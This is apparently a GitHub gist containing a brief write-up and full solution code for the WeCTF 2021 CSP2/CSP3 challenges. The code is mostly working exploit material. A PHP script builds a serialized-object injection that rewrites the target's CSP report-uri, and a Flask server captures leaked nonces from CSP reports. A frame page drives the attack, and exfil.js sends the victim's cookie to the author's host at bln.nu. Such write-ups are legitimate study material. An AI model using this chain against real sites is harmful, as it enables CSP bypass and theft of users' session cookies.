Skip to content

Instantly share code, notes, and snippets.

@Tethik
Last active June 21, 2021 23:13
Show Gist options
  • Save Tethik/fa463b9e934346938214a97d69de3c93 to your computer and use it in GitHub Desktop.
Save Tethik/fa463b9e934346938214a97d69de3c93 to your computer and use it in GitHub Desktop.
Quick and dirty writeup for WeCTF 2021 CSP2/3

CSP2/3 Not-Writeup

My solution for CSP2 and CSP3 challs in WeCTF 2021. https://github.com/wectf/2021/tree/master/csp3

The python app was hosted on a server we controlled (http://bln.nu:1337), the payload sent to the "admin" browser was simply that url.

The server would first create a post on the CSP site, the content did not matter, I just needed the hash. The page would open an iframe containing the hash, as well as an injection for the unserialize call being made in the PHP code on the &user GET parameter (see serialize.php). This would tamper with the CSP Header sent back to set the CSP report uri back to my domain, as well as allow frame-ancestor to also allow my domain. Though I'm not sure frame-ancestor was needed.

The CSP Report would trigger straight away, as I intentionally trigger the add_js function present in the CSP post page by adding a #black.js@badnoncelol, which violates the nonce required by the original CSP headers.

function add_js(filename, nonce) {
  var head = document.head;
  var script = document.createElement('script');
  script.nonce = nonce;
  script.src = filename;
  head.appendChild(script);
}
window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};

The CSP report itself would arrive at my server, allowing it to capture the valid nonce, which is then sent back to original victim client session (frames.html) via a continuously reloading script (it wasn't meant to be pretty). Using this nonce, the iframe URL is updated to change the hash to #http://<my domain>/exfil.js@nonce, which loads the exfiltration script that sends the cookie to the server.


Besides that I also found an unintentional(?) solution for CSP2 in chrome by using the script-src-attr CSP directive and a <img onerror> payload in the post. However since the admin browser ran in firefox it didn't work for the chall.

Fulkod pga hackande.

from flask import Flask, request, render_template, make_response
import requests
import re
import json
app = Flask(__name__)
ipNonceMap = dict()
def createPost():
resp = requests.post("http://csp3.sg.ctf.so/?method=post",
data={"content": "<h1>whatever</h1>"})
matches = re.findall(r"hash=([0-9a-f]+)", resp.text)
return matches[1]
@app.route('/')
def hello():
hash = createPost()
return render_template("frames.html", hash=hash)
@app.route('/csp2.js')
def csp2js():
data = render_template(
"csp2.js", nonce=ipNonceMap.get(request.remote_addr) or "")
response = make_response(data)
response.headers['Content-Type'] = 'text/javascript'
return response
@app.route('/exfil.js')
def exfil():
data = render_template("exfil.js")
response = make_response(data)
response.headers['Content-Type'] = 'text/javascript'
return response
@app.post('/csp-report')
def csp_report():
data = json.loads(request.data)
# original-policy: default-src 'none'; script-src 'nonce-NDRjNGU3MjNiNjg4MjYxODFlYWI0OGM5MDlhNDg5NjIyZDI5YzVjNA=='; img-src 'self'; style-src 'nonce-NDRjNGU3MjNiNjg4MjYxODFlYWI0OGM5MDlhNDg5NjIyZDI5YzVjNA=='; base-uri 'self'; report-uri http://bln.nu/csp-report; frame-ancestors http://bln.nu *
matches = re.findall(
r"'nonce-([^']+)", data['csp-report']["original-policy"])
if matches:
ipNonceMap[request.remote_addr] = matches[1]
print("caught ", request.remote_addr, matches[1])
return "ok"
if __name__ == "__main__":
app.run("0.0.0.0", "1337", debug=True)
nonce = "{{nonce}}";
/**
* Runs at parent to control frames.
*/
if (nonce) {
// setUrl(startUrl + "#whatever@bla"); // trigger refresh
url = startUrl + "#http://bln.nu:1337/exfil.js" + "@" + nonce;
setTimeout(() => setUrl(url), 200);
}
/**
* Runs on target domain.
*/
console.log("executing on target: " + document.domain);
nonce = document.location.hash.split("@")[1];
document.querySelectorAll("h1").forEach((v) => (v.innerHTML = "pwned"));
document.querySelectorAll("p").forEach((v) => (v.innerHTML = "pwned"));
document.querySelectorAll("html").forEach((v) => (v.innerHTML = "pwned"));
add_js("http://bln.nu/flag?cookie=" + btoa(document.cookie), nonce);
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<iframe id="payload-frame" height="1000" width="1000"></iframe>
<script>
const haash = "&hash={{hash}}";
// const userPayload =
// 'O:8:"UserData":2:{s:12:"token_string";s:11:"hello world";s:10:"cat_object";O:14:"CatWithHashGet":3:{s:11:"user_object";O:8:"UserData":1:{s:12:"token_string";s:23:"60cf249978cdc0.46514935";}s:10:"csp_object";O:17:"ShouFramework\\CSP":1:{s:17:"report_uri_string";s:58:"http://bln.nu/csp-report ; frame-ancestors http://bln.nu *";}s:15:"template_object";O:22:"ShouFramework\\Template":0:{}}}';
// const userPayload =
// 'O:8:"UserData":2:{s:12:"token_string";s:11:"hello world";s:10:"cat_object";O:14:"CatWithHashGet":3:{s:11:"user_object";O:8:"UserData":1:{s:12:"token_string";s:23:"60cf3dfaa05ef2.83910266";}s:10:"csp_object";O:17:"ShouFramework\\CSP":1:{s:17:"report_uri_string";s:74:"http://localhost:1337/csp-report ; frame-ancestors http://localhost:1337 *";}s:15:"template_object";O:22:"ShouFramework\\Template":0:{}}}';
const userPayload =
'O:8:"UserData":2:{s:12:"token_string";s:11:"hello world";s:10:"cat_object";O:14:"CatWithHashGet":3:{s:11:"user_object";O:8:"UserData":1:{s:12:"token_string";s:23:"60cf3e8d26f3b6.45522431";}s:10:"csp_object";O:17:"ShouFramework\\CSP":1:{s:17:"report_uri_string";s:68:"http://bln.nu:1337/csp-report ; frame-ancestors http://bln.nu:1337 *";}s:15:"template_object";O:22:"ShouFramework\\Template":0:{}}}';
// const startUrl = "http://csp2.sg.ctf.so/?method=post" + haash + "&user=" + userPayload;
const startUrl = "http://csp3.sg.ctf.so/?method=post" + haash + "&user=" + userPayload;
function setUrl(url) {
document.getElementById("payload-frame").src = url;
}
function add_js_parent(filename) {
var head = document.head;
var script = document.createElement("script");
script.src = filename;
head.appendChild(script);
}
setUrl(startUrl);
setTimeout(() => {
setUrl(startUrl + "#black.js@badnoncelol"); // should trigger csp report :)
}, 500);
setInterval(async () => {
add_js_parent("./csp2.js");
}, 1000);
</script>
</body>
</html>
<?php
require_once "index.php";
require_once "framework/CSP.module";
$obj = new UserData();
$obj->token_string = "hello world";
$obj->cat_object = new CatWithHashGet();
$obj->cat_object->csp_object = new ShouFramework\CSP();
$directives = [
"child-src",
"connect-src",
"font-src",
"frame-src",
"img-src",
"manifest-src",
"media-src",
"object-src",
"prefetch-src",
"script-src",
"script-src-elem",
"script-src-attr",
"style-src",
"style-src-elem",
"style-src-attr",
"worker-src",
];
$domain = "bln.nu";
$domain = "localhost:1337";
$domain = "bln.nu:1337";
// $notsafe = " 'self' 'unsafe-inline' 'unsafe-eval' bln.nu http://bln.nu * http://* javascript: data: 'nonce-aGVqaGVqaGVq' ; ";
$obj->cat_object->csp_object->report_uri_string = "http://$domain/csp-report ; frame-ancestors http://$domain *"; //; " . implode($notsafe, $directives) . $notsafe; // . str_repeat("AAA", 456);
$ser = serialize($obj);
unset($obj);
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo $ser . "\n";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment